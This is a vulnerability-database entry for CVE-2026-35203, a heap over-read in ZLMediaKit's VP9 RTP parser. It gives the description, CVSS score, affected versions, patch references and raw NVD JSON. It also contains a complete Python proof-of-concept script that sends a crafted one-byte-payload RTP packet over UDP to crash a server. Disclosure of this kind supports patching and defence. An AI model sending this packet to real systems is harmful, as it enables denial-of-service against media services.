CVE-2026-35203

Description

ZLMediaKit is a streaming media service framework. the VP9 RTP payload parser in ext-codec/VP9Rtp.cpp reads multiple fields from the RTP payload based on flag bits in the first byte, without verifying that sufficient data exists in the buffer. A crafted VP9 RTP packet with a 1-byte payload (0xFF, all flags set) causes the parser to read past the end of the allocated buffer, resulting in a heap-buffer-overflow. This vulnerability is fixed with commit 435dcbcbbf700fd63b2ca9eac6cef3b5ea75169d.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:zlmediakit:zlmediakit:*:*:*:*:*:*:*:* - VULNERABLE

ZLMediaKit (Commit 435dcbcbbf700fd63b2ca9eac6cef3b5ea75169d之前)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import struct

# Construct a malicious VP9 RTP packet
# RTP Header (12 bytes) + Payload (1 byte: 0xFF)
# V=2, P=0, X=0, CC=0, M=0, PT=96 (Dynamic), Seq=1, TS=0, SSRC=1
def create_malicious_packet():
    rtp_header = struct.pack('!BBHII', 
                             0x80,               # Version 2, No padding, No extension, No CSRC
                             96,                 # Payload Type (Dynamic)
                             1,                  # Sequence Number
                             0,                  # Timestamp
                             1                   # SSRC
                            )
    # Malicious Payload: 0xFF sets all flags, indicating many fields follow,
    # but no data is provided, causing buffer over-read.
    payload = b'\xFF'
    return rtp_header + payload

def send_exploit(target_ip, target_port):
    packet = create_malicious_packet()
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        print(f"Sending malicious packet to {target_ip}:{target_port}")
        sock.sendto(packet, (target_ip, target_port))
    except Exception as e:
        print(f"Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    # Replace with actual target IP and Port
    TARGET_IP = "127.0.0.1"
    TARGET_PORT = 10000 
    send_exploit(TARGET_IP, TARGET_PORT)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35203
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35203
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35203/
[4] VulDB https://vuldb.com/cve/CVE-2026-35203
[5] https://github.com/ZLMediaKit/ZLMediaKit/commit/435dcbcbbf700fd63b2ca9eac6cef3b5ea75169d
[6] https://github.com/ZLMediaKit/ZLMediaKit/security/advisories/GHSA-gxr3-fwc7-q99h

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35203", "sourceIdentifier": "[email protected]", "published": "2026-04-06T20:16:28.057", "lastModified": "2026-04-16T04:21:41.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZLMediaKit is a streaming media service framework. the VP9 RTP payload parser in ext-codec/VP9Rtp.cpp reads multiple fields from the RTP payload based on flag bits in the first byte, without verifying that sufficient data exists in the buffer. A crafted VP9 RTP packet with a 1-byte payload (0xFF, all flags set) causes the parser to read past the end of the allocated buffer, resulting in a heap-buffer-overflow. This vulnerability is fixed with commit 435dcbcbbf700fd63b2ca9eac6cef3b5ea75169d."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zlmediakit:zlmediakit:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-03-29", "matchCriteriaId": "C6E40C41-1CFE-4C61-9948-9BC843FBF1BC"}]}]}], "references": [{"url": "https://github.com/ZLMediaKit/ZLMediaKit/commit/435dcbcbbf700fd63b2ca9eac6cef3b5ea75169d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ZLMediaKit/ZLMediaKit/security/advisories/GHSA-gxr3-fwc7-q99h", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}